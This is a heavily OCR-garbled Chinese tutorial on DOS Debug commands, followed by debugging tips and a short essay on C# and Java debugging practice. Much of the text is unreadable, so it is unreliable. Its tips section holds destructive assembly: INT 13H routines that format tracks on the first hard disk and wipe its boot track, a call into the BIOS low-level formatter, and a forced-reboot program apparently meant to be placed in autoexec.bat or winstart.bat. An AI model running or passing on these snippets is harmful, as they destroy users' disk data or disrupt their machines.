T IZAEE SO 41, EERA SN 41, AR

04BA:0100 EB.41_

A=A e BB 7 E. £ AWE/G 1% SPACEBAR CEARHE) , A%
ENTER ##. Debug R7n F—ME. fEMLVEHIF, WIR4Z =1k SPACEBAR (Z4%4#) , Debug K
S NINLILTER

04BA:0100 EB. 41 10. 00. BC._

Fo N HERIE BC HHCH 42, TEERMA SN 42, WF R

04BA:0100 EB. 41 10. 00. BC.42_

BREREM 10 NiZ&E 6F. B IFi%{4, i+ HYPHEN 8 W% LR [ B Hhk 0101 (fH 10D .
Debug E/nLLR N %

04BA:0100 EB. 41 10. 00. BC.42-

04BA:0102 00. -

04BA:0101 10.

TEFRAN RBEN 6F SEOE, WFAs:

04BA:0101 10.6f

% ENTER 1 e fiz4JFiR[EIF] Debug $ERFF T
PAF & 055 £ 5 a1

eds:100 “This is the text example”

ZFRF RN DS:100 JFAAIETE 24 Ay

Debug:F (IEFE)

il 4 52 MBI TR 35 28 AT XSk P 3tk
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AT LAFRE 7 b E ASCIT #FRs B . AR AR A7 il 7295 52 o B I B > 2k

f range list

ZH
range

fe e B A WA X A Mg i b, st K . XA range ERIE R,
R “FERFE” FIFRH I “Debug ULEH” .

list

T2 BRI B . List 7 RLH o sk £l s) 5 Bk m 777 8 4.

i
ffiH range %

IR range WEKTIHEL list PHIEEKR, Debug H/E list TR EHIRE, HE
range [ FTAT ¥ A EHTE .

WRAE range FHUEFNAFIREALFLE, Debug K BoRffRiE EIHFIE £ .

i list 2%

R list WERBUEZ T range THITFHHL, Debug K 2ME list "PASMAME.

RERY]
BEBEAN AN fir 2

04ba:1001100 42 45 52 54 41

YN, Debug 52 MMEIEFE M 04BA: 100 | 04BA: 1FF MINTEALE . Debug B IX
FAMEEF] 100h A7 A NIk,
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Debug:G (#19])

IBAT ARTENATHIIAEFTE -

g [=address] [breakpoints]

ZH
=address

F8 8 M ETE WA EIF G HAT BIFE P bk . tn R AFE 2 address, Windows 2000 M CS: TP
ZFAF 2 TP B R b T AR AT R T .

breakpoints

TREFDBEN ¢ MK 1 2] 10 N s

BRPATIEA . ERFRFEIRS . BB TR ER, WHRdG MR8 5k
f] Debug P (F14T)

ARPATIHLMER, 1§ Hd “MRIE” FIRF ) Debug T (FRER

Debug:H (7St

X E M S BT+ Nt s 5.

h valuel value2

ZH

valuel

M 0 F| FFFFh i B Y AR AT+ 7S 2t Ky

value2

AREM 0 F FFFFh i B Y 58 — >Nt il Eey
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Wi

Debug & FHHaE MM SHARM, IRIENE D SEPIRE S A S8 X R LR
SoRE AT JetbREA, RRTHEE.

RLeR ]
(EHe7 INY TR
h19f 10a

Debug $ATIZHHERULTER,
02A9 0095

Debug:I (HiA)

MFERE 13 HEE O SR — A 71 {E

i port

ZH

port

Pty AR E AN o kT R 16 RIRE.

ARIGFAMERIE R S o (R, 3 Bl AR I FIERT ) Debug 0 i) o

RLeR ]
FEBA LT iy 2
i2£8

[ P AP s AR 19 (B 2 42ho Debug #HGZFY, JRREIVE R RIT:
42

Debug:L (&)

K TSN BT 2E WAL X KT N B I B BTN A7
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TENHEARLSCPF N BX:CX A A7 a8 R E U7 RN 7, T LU R R

1 [address]

EEIL Windows 2000 SCHF R G ELEMNBAFE IR, 3 LT iH%:

1 address drive start number

¥

address

i 58 EAE AP B B X N BTN AL E . IRAIRE address, Debug ¥ CS #F
7o ) 2 AT

drive

i B A TR IUR € B X A R X sh % . (BB 0= A, 1 =B, 2 =C %,

start

878 EIN L AV A B — S B X 7St

number

[V

P8 8 BN N A RS X BN HEd A RAEEINEREE B X IR A ZNE, debug
AT ERIE I Debug n (BAFK) an & HTa e SCHF, A REfA] drive. start A number
4

\

AREEMT 1 a2 MFER, 35l “MoRIE” FIZRF M Debug n (AF)

55 R BRSO E B, R MR SUIFFH Debug w (A .

R
MBS 1 w2
AEMHA TSN 1 L, f£ debug A AT L& MSCIERINEEI A A7, Mk

CS:100 FF4f. Debug [AI 4G BX A1 CX &7 a5t EVINE I 714 WIRAFE debug v
ITHRRE S, PPN ISR R L n dy &4 H 48 E 1S
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i B address ZH1 1 4

WHRAEH T address 24 1 4, Debug MW E address FFUHME A ELE &
B X I

fE RS8N 1 we

WMARAE R A S 1 2, Debug K5 INEHR E WAL X P9 & T AR It

INER € B X N 2

TeEVEE AN HIEN XM drive 2B, Debug M start FFEGI0E, BHFAE number H1F5
S B X B 1 2 A D 4

n#k . exe Xt

Debug ZH% .exe XAFRIHALE address Z#(. WIRIEE . exe X, Debug ¥ AFEHEME
FLF] . exe HHIbRB R ERIINE ML AE | exe MAFMINER BN FRT F78E H &M . exe
SRR, RIS B . exe SCHFR/ANSNAZTFIARE . WEREREREA | exe XM, 1K
A FRIY & 44 Hod 44 50

oS

Debug ¥ HA . hex ¥ RANI AV ATSERIME M. BAATSE 1 @4, WL
TN A 75 HE ) S R 2 I HLBE AL TF R 1 oS HE R SO, WA 1 MRS
address Z#{(, Debug KHF5 & M HWIE BN FE 7S BEH SO A 4R 2 f bk b, DURH 2 i
ik

ER 7]

e A3l Debug FHEEANLL T4

nfile. com

MAERT LA 1 #r4LAN#K File. com. Debug REMM#E I 278 Debug #2274

e R EMNIRBZ: C Ficah@ X N 15 (0Fh) ) 109 (6Dh) N X B 2 n#k 2 is
My 04BA:0100 FIANAEHT. AL, TEEALL N4

104ba:100 2 0f 6d

Debug:M ($£3h)
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B —DNWAARA RN EE S 2 57—

m range address

ZH

range

T8 BT N A N A7 DO aa M S5 R L, BGRR AR A

address

TRE LN range WARHIFIZA B KEIGHIE.

e

SR DA s s

U SR B A 5 N IEAE B S BB b g i, DU IR AR o (R, ISR H AR
PO S HdE (R EAERRIAZRES ), WSS 28R (i R HERIEA R
S8 H br it B il 3 N A i SR AR B A ERAE. D

AT 2 AR

m AT H AR IE A7 o R IR, A ZREE . B SCS Rt A E e B . R,
AR SRR S Mt b ) 000 SR ) B SR It ik, O AR A R A S 1) i AR A b 1k 43 9 17 e v

REMBEREAT o 2, U AR EER HctE AR Il SR A B v ik, SR 35 AR ) i S 46
] F (K HEEAT 6

FLERET]
BUEBEAN LA fir 2

mcs:100 110 ¢s:500

Debug B 46KF CS:110 HuihbH RN EHIBIAE CS:510 A, SR 5K CS: 10F HudikH gy 2%
HHIF) CS:50F o, Wb EREELEW CS:100 Huhkrb iy A B HbE CS:500 . BEE
g5, 1HfTH Debug d (fig) dd, HAEMH m A 4aE Hirtibk

Debug:N (ZFK)

R Debug I CINED 8L w CH5N) dr MR AT SCAF IR A PR, B0 5 58 IEAE R ) T ST
MRS HL
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n [drive:][path] filename

FHRE MK W] PAT SIS HL, 3 LN i

n file—parameters

¥

I RAE AT BT TR, W n A 45 B0
[drive:][path] filename

F5 € BN A] AT S AL B AT R

file—parameters

N IEAERAR ) AT AT SCAHR E S HORIT K

A RBE S B AR LA R X I A NS BN AR R R, RS MRS FIRB R
Debug L (hIn#E) »

ARENFRBIERL SRS, R 8dr “AICER” FIZRFE) Debug W (HAD

e

AR AT A n g Bk, UM E DR EEER 1 OnED 53w (50
i A B A A B S0 m%E&ﬁ %%ﬁﬁx#%%%??ﬂnw% WAEAE 1 4
In#E S 2 B 74 nfilename. fE CS:5C A CfF4x#l e (FCB) IE #hgmHEC it 4 ks
Ko HK, ATLMERH n 2382 $0RR SO dr 24T S EORIT R

P AF X35

PAR U A XA 2 32 31 0 & 5 .

WAL B

g

CS:5C
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AT SRR R (FCB)

CS:6C
S 2 B RE RS (FCB)

CS:80
n AT IRKE (L RFRaD

CS:81
n AT TR IOk

M n A SRR ACI SRR CS:5C 1) FCB o MRAREE A4, JaR
FHRELE] CS:6C ) FCB 1. n fr4 (7 LEAMFIRI (R MFR2LIN 0 TR
B CS:80. n @47 LSBT (HIK, B T50F 0 250 FEREEELL CS:81 JFKihRL.
PERUCE A AT LEZE Windows 2000 4R SR fn 414 BRI S R153 B
.

(R

B4 )as) Debug, FHINE T IEEARKIFER Prog. com. #ZELEREN Prog. com $55E
WA SEOFE TR . LT A2 TE i a2 74 :

debug prog. com

nparaml param?2

g

TEXFEN T, Debug g (¥a)) 4 SisiTiZER, IR CAE Windows 2000 242
INTF RN T W R i 4

prog paraml param?2

Frik, MARAE R M Prog. com @ [iZ 47 B[R] PR o

ETHEmA AT, F— n 2% Filel.exe ¥ENBEEM 1 UnE) w2001k,
ZmA K Filel. exe MEBINAF. 5 A n 2R Filel. exe ¥MHEHMSE. &5, ¢
A 4IEAT Filel. exe U, BUIFAZEAE Windows 2000 w2 4TH 88N T Filel File2. dat

File2. dat —¥f.

nfilel. exe

1

nfile2. dat file3. dat

g
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R

ANELE n AMNEMEREMH 1 4. BEEE, WRIAGH v (BA) s,
Windows 2000 ¥f# ] 8% File2. dat A7 IEAERAICME Filel. exeo JAilEGH Bl 45
B, MAZRRAE 1 8w A2 airBER n fr S — AR K.

Debug:0 (Fd)

B 7 A RIS B H 3 1

o port byte-value

ZH

port

T AR e s . R R LR 16 fLE.

byte—value

o€ EARI) port HIFHIMH.

AR M AN S DESERC SEAE S, FERdr “ARER” SR Debug T CIAD .

R(ERY]

B AT AFh RERIHEE R 2F8h B H IR L, EEALL T4
02f8 4f

Debug:P (F4T)

AT . EEMFRFEIRS . BBl BiRE; sl AR & BRER .

p [= address] [number]

ZH

=address

FREH - NEPATIRLS M E . WRAT e A, WEGAMEEZEAE CS: 1P F a4 Em
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T HbAE

number

TREAEREHIR P4 Debug Z AT EHATHIFE 2 H. BOMEN 1.

A RIBITARENAF PR HE L, FHd “HKER” JIRFE Debug ¢ (Fefi) .
ARPATIRLIE LS, THRE “MREE” FIRF [ Debug T (FRER) -

]
e R BB R

Y p AR Debug A% BENNKAIFE TR, ZAEFANWIZIT, EHRES ., EEF
FRERTR A A A B el Se i 1 48 bk IRk, BUE B RIHAT TR e BE LA
4 Rik. #HREIF] Debug.

Huhik Z A PR A

R address S AR E B, Debug KM PMNKFEF 9 CS WAFAS . WIRE M
address, FRFIEM CS:IP ZAAFER TR E HIHMETF A6 3T o LZIAE address SR
G5 (5 MERKES number ZHX 7. WIRIEREMALHITES AR ERRNTH
FARS PR WEsl I, W p fr415 Debug t (BRER) < HIMEHIARIA

i p i TR Al

B op YT BURWIE, Debug EonMEEF MR AFEE AR ARERRE LT —Bok 248
PATIIHR A e .

3

B A
=]

AEef ] p A IREE REEAAE (ROM) .

RERY]

B IEEMNA AR e CS: 143F B E—A call 84 . BIiE1T call HIRMEMTF
TR SR Ja K # IR [ 3] Debug, 1HBEANLL T A4 :

p=143f

Debug % LA P %A R4 R
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=2246 ES=2246 SS=2246 (S=2246 1P=1443 NV UP EI PL NZ AC PO NC
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2246:1442 7505 JNZ 144A

Debug:Q GEHD)

{1k Debug 21k, ANCRAEZHT MBS

LN q LU, #EHEREIE] Windows 2000 A& 5284 o

q
¥
Zi e AW S

ARBAFIHE R, TR MR FIRF [ Debug W (HA)

Debug:R (ZF1F28)

BREHAR—ANEEA CPU AR E.

r [register—name]

ZH

¥

WERAEBAH ZHITEIL A, W vy Bos A &5 17 2 1 3 LKA A7 e A il X8R Y

e

register—name

TREHEE R HARMATFRA .
ARERNAAIINERGEE, E8E X 7L Debug D (i)
AR T IHELR, 8l “HCEBR” FIRPH Debug U URICH) -

P

v wd

IRARIE T A A4 F5, Windows 2000 K2R PAH/N#ERIFRIC RN S A7 48 80 16 AL1E,

FK BT BRI RT . WREE B S a P E, BRAESE AN FME 1% ENTER 4#;
), iE4% ENTER #iR[A] Debug #2/R5%F.
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HHHIBL,

LN & register—name A ZE: ax. bx. cx. dx. sp. bp. si. di. ds. es. ss. cs.
ips pc J& fo ip F pc #5IHELFa%E .

WERARE A AF AR AR, AR AT ISR P €, Windows 2000 Kf&as LA R H &

br error

M £ PR A A A7 s 4

WEREN © FRE R 7454, Debug KA MRICH = AT B E B N B, SR)5 B
7~ Debug $RRFT. EHESARERIBCE, T NRPEAE K P B

&
BWE

FkR

Tt
ov

nv

J7 1]
dn (8
up (39)

KT
ei (BFD
di (ZEHD

1E
ng (f1)
pl CIE)

%
7zr

nz

HBhERL
ac

na
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ARG
pe ()
po (FFELES)
BEi VA

cy

nc

T DA AT AT S NGB bR (B AN 7R B AR L 2 1) B A% . Bk v ol THHE

ENTER ##. fRA073A 18 e B E fIbs ERFEALR

H v i@ SR i A

INFNPRICIRE T 2 ME, Debug K ERLLTHE:

df error

BSR4 S A E AT AR T 81 bR EAXHY, Debug Kf R BARE &

bf error

FEX M FEOL T, Debug H5 2 Fr A AE TN H Z 548 € KB E .

Debug HIERINKE

FEJRE]) Debug I, 245 B f7as W E BN WA Ik, 482155 BEE DY 01000, JHERIT
Atrd, JFHRILRTEHRRENT, B THPAED FFEEh [ sp Z 4t

Debug:R

R

ERFHIAH TN E FraRICRPRS i B4R SR, HRA N m4:

R YFA B CS:11A, BIRINUE BT LA N2

AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000
DS=04BA ES=04BA SS=04BA CS=04BA IP=011A NV UP DI NG NZ AC PE NC
04BA:011A CD21 INT 21
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HHEERERRE, HRALTHS

rf

NV UP DI NG NZ AC PE NC - _

BUE, ST DUZAT R0 S N — A B AN RO hR G A8, b m] DU 8RR S, IR s :

nv up di ng nz ac pe nc — pleicy

Debug £53R r & FF W~ Debug FRFF. BEEFHR, HEBAN r 5 rf 2. Debug ¥
NN NSRS

NV UP EI PL NZ AC PE CY -
#% ENTER R [5]%] Debug };E,Tﬁ

Debug:S (#HZ)

FEIEAHLIETE B R — A B A7 A AR K

s range list

ZH
range

fEE EH RV HE MM R L. ¢ range ZECHAIERE R, EHRT “HHCEH”
%R F 1] Debug.

list

RE AN TIEORNA, SEERNTE . R B0E 5 a1 EM T —
THME. KT H B SRS S .

Wi
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WH list SHEEZANFIME, Debug B R E/REIHFIER S —A k. WH list KX

BE AT A, Debug K SR8 E T Fl N HY BLIZAE I B A sk

T

BEFETHRASME 41 FHTEEM CS:100 F] CS: 110 KA bk, Ji, iEE AL

scs:100 110 41

Debug %L A% 2R 7= 45

04BA:0104
04BA:010D

PLFRAr4AE CS:100 F| CS:1A0 MITGHEI NI ZR F45E “Ph” .
scs:100 1a0 “Ph”

Debug:U (L)

S 75 I SR AR SRR A, o s b A . RIC AR A R R CL g S
HOETIE

u [range]

ZH

¥

WEARAEBA SRRSO A, W u dy 20 20h 747 CBRIMED » MHTHT u Av & BT
AN HUIEJE R — TR

range

1 58 E U A R a2 R, BGRAGHIMEAKCE . A 5% range ZHCA MUEK
B8, TRl “MRIE” IR Debug.

B RERICZEMEE, B8RS “MHRTE” FIRF N Debug A GL%W) -
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ARERNAMINERGEE, WD “HXIE” FIRTH) Debug D CFefif) o

H(ER]

RIS 16 (10h) 77, MHibE 04BA:0100 FF4, E#ALL T4

u04ba: 100110

Debug 1% LA IS B ngh B

04BA:0100 206472 AND [S1+72], AH
04BA:0103 69 DB 69

04BA:0104 7665 JBE 016B
04BA:0106 207370 AND [BP+DI+70], DH
04BA:0109 65 DB 65

04BA:010A 63 DB 63

04BA:010B 69 DB 69

04BA:010C 66 DB 66

04BA:010D 69 DB 69

04BA:010E 63 DB 63

04BA:010F 61 DB 61

R H SR M 04BA:0100 F| 04BA:0108 4 HubkfffE B, EEALL T4
u04ba:0100 0108

Debug E/RPLT W% :

04BA:0100 206472 AND [SI+72], AH

04BA:0103 69 DB 69

04BA:0104 7665 JBE 016B

04BA:0106 207370 AND [BP+DI+70], DH

Debug:W (B A)

R SCAF BT RE 70 X BN -

BORAE BX:CX A A7 a FP R E T AN WA S NSO, R LT B
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w [address]

FEIL Windows 2000 UM RGUIFEE S ANRFE R, 1AL iH%:

w address drive start number

¥

address

i 0€ B 5 BRSO B SO BB 7 SO R 4G N A7 ik o WZR AR address, Debug FEF
FEA CS:100 Frah. KT address ZHABERIGE L, WEHE “FHIXESH” 7R 55
Debug,

drive

e HARBE M IREN 2% . ZAERBEAL: 0 = A, 1

Il
=
[\]

Il

O
e
&

start

FRE BN — A X o8t 4.

number

T8 HH NI X E

ARIEMT w S E R, R “MKREM” JIRFH Debug N (HFK) -

A I S B R XN BB AR E B, BT MHICEM” FIFER T Debug L
Cm#ED

WEH

WAHEIR B Debug I B{FHFERILH Debug n (AFK) fr & AR E A ST 44T X PR

THEHT LR hE CS:5C AbSAFf2 il B i) ST 42 IR R Mt 2 HE A 5

FEMEAAHRSEE w i Z AT EHE BX:CX

WRAEM T Debugg (BgfD « t GBRED  p (BUT) B r CGHAEE) @, LAFEMAITL
SR w ar A, ¥ BX:CX SR
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RetEtlum iS5 N

RN SRR TE SO 44 KEEBGR AL, Debug 73R W] DLIE S SO 5 N IERESE
(A

NEEAZm A BN . exe B .hex M.

A g3t Windows 2000 SCAFAIRR, B PAB NHEE M XAEH faf. RN R=IE, T
A SO SE MR 25 D B 3R

(R

B Bk ah il CS:100 NN B S NFIIKEhEE B R 7 20K 50E DR
B FIX S 37h FFUEFFHEE 2Bh AN IX. ik, #ALL R4

wes:100 137 2b
NEEAESERN, Debug FRREIR Debug $27R%F.

Debug:XA (MY EMAF)

SrBCYT R A AE I F E DU 4L

A Y RN, LA A 4.0 B Lotus/Intel/Microsoft ¥ & AAEHITE (LIM

EMS) PRI Ji& N A7 B & BB RE 7 o

xa [count]

count
fRE BTy R NAFH 16KB 114k,

HFAFRY RN Debug A MEE, EHT “MELH” HIFRPH XD CBRY R
WAE) « XM (B BN ETD 8 XS CRERT ENEIRE) .
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EH

BRER AR E R U, W Debug R RIRH S, BRIH BRI QUK A7 3k £

0, Debug HfToREHIRE S .

Debug: XA

(R

BBy AR 8 NI, TEEALL T

xa8

WIR A2 Y, Debug B R BRI IE B
Handle created=0003

Debug:XD CEEY W AE)

BRI R N A AR
BAEHY RNAE, VI3RS 4.0 BRI Lotus/Intel/Microsoft ¥ fE WAFHYE (LIM
EMS) 9 e N A & IR AR T o

xd [handle]

¥

handle

FH € BRI AR o

A RAE Y R AER AR Debug M4 MER, 8T “MHXFEHM” FIRFB XA (HET RN
) XM (B RRAAFETD B XS (R RANAIRE) -

T

LORETIAIIR 0003, TEBEALL T A4
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xd 0003

R4 I, Debug K EIx FAIWHE -
Hdle 0003 deallocated

Debug: XM (HREHEWNAE T

FJE 145 2 A Y R W A7 2% UL 2 e NI B L.
EHRATENF, DI ERSS 4.0 UK Lotus/Intel/Microsoft ¥ & WAZMYE (LIM
EMS) F¥ JE A7 LA IRBNART o

xm [lpage] [ppage] [handle]

¥

1page

i 5 EWRGF BB TT ppage MY RN AFRIEZ R TS .

ppage

feE¥s lpage MG E|APIEETLIH 5

handle

TR AN

ARMAY AL HADL Debug a2 HIMEE, HHdr “MREB” FIRPE XA (B

WAE) « XD (B BAAE) 80 XS (BT BN .

R

ZORSRING 0003 FZHHTT 5 WUNBIYETT 2, IFEALI T a4

xm 5 2 0003

R A% H)), Debug FE R T AIH R :
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Logical page 05 mapped to physical page 02

Debug:XS CEIRY EANAFIRE)

WA RY FENAPIREIIE R .

EAAY BEANT, DIZERSS 4.0 U Lotus/Intel/Microsoft ¥ & WAZMYE (LIM
EMS) ¥ JE A7 A& IRBNAR)T o

XS
S8
Zir e A S H

ARMAY AL HAL Debug arHIEE, HHdr “MRED” FIRFE XA (EY

WA « XD ORIy RNAE) B0 XM (BRS R NAFETD

BEH

Debug {75 45 B4 W0 F %K

Handle xx has xx pages allocated
Physical page xx = Frame segment xx
xx of a total xx EMS pages have been allocated

xx of a total xx EMS handles have been allocated

il

LRRYT RAFEE, HRAUT @S
XS

Debug &7~5 LA FRBIRIE R

Handle 0000 has 0000 pages allocated

Handle 0001 has 0002 pages allocated
Physical page 00 = Frame segment C000

Physical page 01 = Frame segment C400
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Physical page 02 = Frame segment C800

Physical page 03 = Frame segment CCOOQ

2 of a total 80 EMS pages have been allocated

2 of a total FF EMS handles have been allocated

debug 7£ B & i1 A
— .\ WEAEHR RS

£ dos FHEN debug, #EN debug, S8 G N N AV 4a RS (55 J5 2 MERE) -
-al00

0100:mov dl, 1 ;K 1 AN dl

0102:mov ah, 2 ;¥ 2H AN ah

0104:int 21 ;V4HH 21H DOS F&/%

0106:inc dl ;4% dl H %N 1

0108: jmp 102 ;[E1%] 102 F£/%, BEiR 8] “mov ah, 2”
PR [E] 4

PUAELEFRA TR AE B com SO, BN — T 454

n BFREFHL 0 MFERF LR S

-rbx ; &H bx FAFaE

[F1ZE ;bx A 0, ASHHIA, #E 4

-rex [ BH ox FAEA

ca S HINFEFRE TR a (16 HE4]) 2 10 775

-w ; EAEF

WF, DA, X AENFEIE IR, BUTE [FIF 4% ctrl+break % ctrl+c A PAagilf5e 1k, ERE7E windows
U BAR LS R A SRR TR F T

PR MRE — XA B S 2 R R 7R/ ASCIT R{E N DL 254785+,
SR FRAITIRES 2H N ah 1, #4477 int 217 B & R 1H ) ASCIT #3, “inc d1” gk &% dl
RN —, 7 jmp 102”7 Bk 2Bk E] “mov ah, 27X AR B, T HLIE, IR 5 & 1, IXANFE 7
REPEHEE ctrl, break, c, R JE TR & L oAk, WpAe, ARk 8B & H 7 Z AL SEIE 3
FIFEHL T, URA] LAZEAEAS sexlady 44T, PR AN B EIbR , BL7E R vT DLAT & Sk M R
TR, AR EHX A4 %, TR AW 2 PR AL A% AR e,

= iRE R R

¢:\debug boot. com

-al00

—-mov ax, 0040

-mov ds, ax
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—-mov si, 0072
-mov[si], ax
jmp ffff:0
int 20

-rex

0014

—w

-q

ARG ST, R . bat X LS BAIHAT, B4 B2 — A ER, iEA
F I S A B, AT RER S TEARR INE] autoexec. bat oY, HIXFER 5k AR IR, Hszinfy
—AH BB AT autoexe. bat FIFER —#, A2 1E autoexec. bat JEHAT, U4
M| winstart. bat, X AN SCHF A2 VF 2 30T 22 25 0 AR A I B ST, 2 3022 2 75 B J i sh R
Ja Yk SRR, B2 AE windows H 3K N AR BUXAN SCHF, 23458 )5 H AR, (Han R AR N iR
BIEA A, RGEATEAIER, AR AT DL NS S FE P XA winstart. bat 5K
At A3 K3 Bt EALES E ST, B X AN SRR, — M AR IR AR B & X AN A 3L
fELESSEL, MR X R ] DA AR B ENLUR B B sh A E T

=. F DEBUG {Ei&Ei#

—:  EHEMA ROM BIOS AR SALFRF .

FEARZ THSEHLE ROMBIOS Hi 47 U (A R T o A7 0 ik A C8005H A& TT 4, T LAH] DEBUG
G EERHA . H#EmT:
a:/>debug —g ¢800:0005

KRR ERE R CRFRRAK BI0S SoRfifE BA—FE), BIEFIRR:

current interleave is 3 select new interleave or return fot current

KSR ERH PR X 1, B R IEIME, PR AREEE SR

Are you aynameically configuring the drive—answer Y/N

Prss “Y” to begin formatting the drive c: with interleave 03

BANY J5, JTARICH. ... ..

Formatting......

56 B ) ) o 75 A B R

Do you want to format bat trackanswer Y/N?

WA “N” B, RN

rmat successfull, system will new restart, insert dos diskette in dirve a:

WARGEE] A G, BT X, s g S5 R AR .

ji%ﬁ:::
BIOS 7] LLHY DOS i@ th g 4k . A INT 13H d iy 7 S 1hag, Hn] DL i
BTN, BfEMT:

a:/>debug
-a 100
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—xxxx:0100 mov ax, 0703; & XK-FH 3
—xxxx:0103 mov cx, 0001; 0 FiiE 0 ki [X 2
-xxxx:0106 mov dx, 0080; C %% 0 ffiE
—xxxx:0109 int 13

-xxxx:010B int 3

—xxxx:010D

-G 100 : M 0100 AbFFEEPAT

KPR A T

TiE=

W INT 13H #5 SIhfE.
S INT 13H ) 5 5 Thée RAEARHs 0 1f 0 38 1 FHIX, MiALERKEEEAN R, M
T (AR A 7E AR A5 PRI S TR Y SE ke 3R GNR

a:/>debug

—a 100

—xxxx:0100 mov ax, 0500; ] 5 STk
—xxxx:0103 mov bx, 0180 ; £ B &1t [X Huhik
—-xxxx:0106 mov cx, 0001;0 J& 1 55X &
—xxxx:0109 mov dx, 0080;C #% 0 i
-xxxx:010B int 13

—xxxx:010D int 3

-E 0180 0 0 0002; 5 \Z#

-G 100

3] Debug R T E coooooo0000oo

AU web FEF RAEREIEMART 0, WU 21X 4] 156 P EHE RS, (EAF4aie4g,
XAE RSB EIEIER . ALY, K web F2F RARER S B ERIFER G, UM T
K B IE LB DhRE b, WXt — SRy R B AR AR TE 2 = AR R . LUK AU,
EAZCHAEE T o TRRASEE LR PWE, He— FTED, BT ol 7se B shae e
Ak, PR IR FIRTOA 20 1?2

S AN TR S L 55 % (1)1 D[R] 0 R — 2R AR 1, ATt Ut U T R PR R . Y
il 7 2207 RARE, TERNRE RERE R R ZH N [ 2 7E debug, HFATH £/0 NHIE
FERAHN . BRI E debug W2 LARTIY web JWfEiE S 4 asp/php/cgi &Ex T debug L)
AEIRSS, HIELTEM c# )t java 4L T FEEM debug FB, HARH T Z /W2 /RAT GEXT
System. Data. SqlClient [] % 4> 3 | M. BABME T E, HARX
System. Diagnostics [ fEZ/DUE? IARKIMIEES W c++ , java , cHFHEH 4> HMX HE
WP B, fEIX)LIRHH— N R, A8, AERFKRNh LG H
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AR TG, A5 3 DUJG AN 2 BT B S S F Sk A U - debug s BR AR IR A4 2 XA FH L,
k& defect free, WA bug, MM, HEHG AU T, BFAH bug MLIFEFIE? win2000
i 60000 £~ bug We . BT AFRATT MR 1) 2R 2 B7 1k bug, bug H LG BEXIE & A7 in) @ B 7E,
BIEXA bug. . net &4 TIRFHF K debug FBt, B 74L& debug fHIEH) nampespace, c#
B EAGWEMRKNBFE. FHIE KM try/catch, trace DLRWIE (Assert)
&, MARREAGERRXLTR, G5, B4 debug ¥AHZ &S, WASBIN
FEIXAE I — SO BRI IE /AN “FRX )L e 7, RAtam? 7 o Rk
S — N IX T B RIE A .

—. FER% (try / catch /finally)
A UL, KK EIEREIAER, SR 5282 7 4 B G T 58 S 20 R 7

W, REIMANE C RS, JFHATRE P4k eiE T, MR T E S, Erke
2k, WM RE R RIEGE . BT, ERET FT A o] BE H I 158 (0 B AR i T R 12 4
PR, RPN, HIEEE AR T R L

/// <summary>
/] BT E A P
/// </summary>
/// <param name="a_ strDatabase” >¥E)E 4 </param>
/// <param name="o0a_objConnection” > =%, THIGEZEE/param>
public  void GetConnection(string a strDatabase out  SqlConnection
oa_objConnection)

{

oa_objConnection = null ;
string strConnStr = ”7;

try

{

strConnStr = “server=" + m objlni.GetProperty(“server”) + ”;uid="

+ m objlIni.GetProperty ("uid”) + ”;pwd=" + m objlni. GetProperty ("password”)
+ ”:database=" + a_strDatabase ;

oa_objConnection = new SqlConnection(strConnStr) ;

oa_objConnection. Open() ;

//log it
m_objLog. Write ("#lGEiEHE ok”) ;
}

catch(SqlException e)

{
//log it
m objLog. Write ("#i#lFEERE A" , o) ;

#if DEBUG
Console. WriteLine (e. ToString()) ;
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#endif//DEBUG
throw(e) ;

}

}

}//end class

. KR

java DR, XERKA java AFHN—NRE 2 —, FTLAES java B
#HEHCE —DMEREIFMIE. WA, HHARFMRmIEN? B BTG — F A 9
B, ARFERHAGE, X7 T debug. FAMTEFHBERXFEM, AR FEET7%E
AR E mE SN AT R, EURCE R 7R 2 A8 DU B ) & H X MR E, O
ERT R HOAEIIE, B REA KM RmBERE, B SR R AT IRAK 75 2 F Tl
X thiha), 9. By, JEAR S, WaRA K wE, BT EZ 7. B NI
XA
/// {summary>
/// Rtk
/// </summary>
private void Initialize()
{
try
{
m_objConnManager = new ConnManager (m strIniFilePath , ”./config/newsdata.ini”) ;
log = new Log(”./logs/newserver. log”)

}

catch (Exception e)

{

#if DEBUG

Console. WriteLine ("#J#aft” + e.Message) ;
#endif//DEBUG

throw (new Exception ("#J454L” + e.Message)) :

}

VER B AR f DEBUG AN JLA) S 2 & (R4 F w2 24 DEBUG I, 7R354 & % = w15 .
PUE AR D i A A58 15%, 1024 AN & DEBUG ), HSAIi AN S idm k.

=. W= (Assert)
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Wr & L —MEAF K BR BRI ARV, (HATE RS2 80%HIFE T L H 2 web 2
FRAAHE, BEEBRAEIr . RESKS T e X, WR BT R AL, &
BRI —A&H 7, WU, B S st & R RZ e IE 0 B 7 i — AN 20 B O e & 11
IEf XA, NmIRSTHEMmER, © UL H R R PR L B IvH 1) H br 1k
WigtT, JEH e BRI E AR IR IR . WS MOALEIR B B, Bt R ot B S Tk
System. Diagnostics. Debug. Assert IE X, HIWr—NERT AL, WA WAL 135 5 5
NFAEE . BRRIRFEER, HABRI A KMERHS? iEIRATE N1

/// <summary>

/// FEm_striD fJE M
/// </summary>

public string ID

{

get

{

return this.m strID ;

}

set

{

#if DEBUG

/Wi E

Debug. Assert (value. Length % 2 == 0 , ”"22K id KELIAEE") ;
#tendif

this.m strID = value ;

}
}//end method

KRR, RN T AR m strlD XA R AL ENE, X4 n strlD &4
) FH 2l s R0 S BB P2 50 R0 44 s B A AR B, LR RE: 010213, PR N —[a] g, @i
BB ASRN AT DAR B S BRI T LR, BRI R id 555, BOIMAIECN
—IEJRE, PTELEAS AT R K L AU . B B Debug. Assert A ? B RIME AL
WA FAF R K R AR BEL WERAGE, MR — DXEHER BoR" 702K id KEZL
FUOBEC . SRS WA AR EAAAEM, AW — MEFF AR & R, AR
MEFERIRE CER, FTUARGIEA m ostrID TR R 20 R A B A AR Er BRI,
RO T ROZ A RN, 4, B AR BOX A — ML, BT RAMRR, ARSI
TIXANPRA, TS M AR AT B RS XA A R, TN B R E AR Y A
ek, dkgizty, Al ARER, X AMEIRE R K, (EEANRE R e 4 45 R IR,
T BAE AR P4 i B AR AR B AR AR O IR R PRI A3 )5, B T e AN 1, 1K
FEVR B PIEE IR SRR BUAR R XE 7, AT RE EEAE TR LN S JLIR A I 1), 1 4 5 24 i
TWE, BT B EE =20k, & URRE RIS D, Bt % 15 i 0 i) 7B
